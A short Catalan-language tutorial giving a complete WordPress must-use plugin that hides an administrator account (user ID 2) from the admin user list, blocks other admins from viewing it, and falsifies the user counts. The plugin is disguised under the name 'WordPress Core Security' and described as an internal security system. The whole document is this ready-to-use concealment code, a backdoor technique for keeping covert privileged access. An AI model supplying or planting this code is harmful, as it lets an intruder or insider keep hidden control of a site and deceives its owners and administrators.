Si volem ocultar un usuari administrador en WordPress, hem de crear un fitxer anomenat wp-security-core.php i ficar-lo en la carpeta mu-plugins via FTP o amb un plugin de administracio de fitxers.
wp-content/mu-plugins/wp-security-core.php
Únicament cal canviar l’ID de l’usuari en aquest codi (ara és el 2) pel que isca en la zona d’administracio:
<?php
/**
* Plugin Name: WordPress Core Security
* Description: Sistema de seguridad interna
* Version: 1.0
*/
add_action('pre_user_query', function($user_search) {
global $wpdb;
if (!is_admin()) return;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.ID <> 2", $user_search->query_where);
});
add_action('admin_init', function() {
global $pagenow;
if ($pagenow == 'user-edit.php' && isset($_GET['user_id']) && $_GET['user_id'] == 2) {
if (get_current_user_id() != 2) {
wp_die('No tens permisos per a visualitzar aquest usuari.');
}
}
});
add_filter('views_users', function($views) {
foreach ($views as $index => $view) {
$views[$index] = preg_replace_callback('/\((?P<count>\d+)\)/', function($matches) {
return "(" . max(0, $matches['count'] - 1) . ")";
}, $view);
}
return $views;
});
Per veure l’ID, apareix en la URL quan edites l’usuari:

Si vols editar el teu usuari, hauràs de posar açò a la URL:
wp-admin/user-edit.php?user_id=2
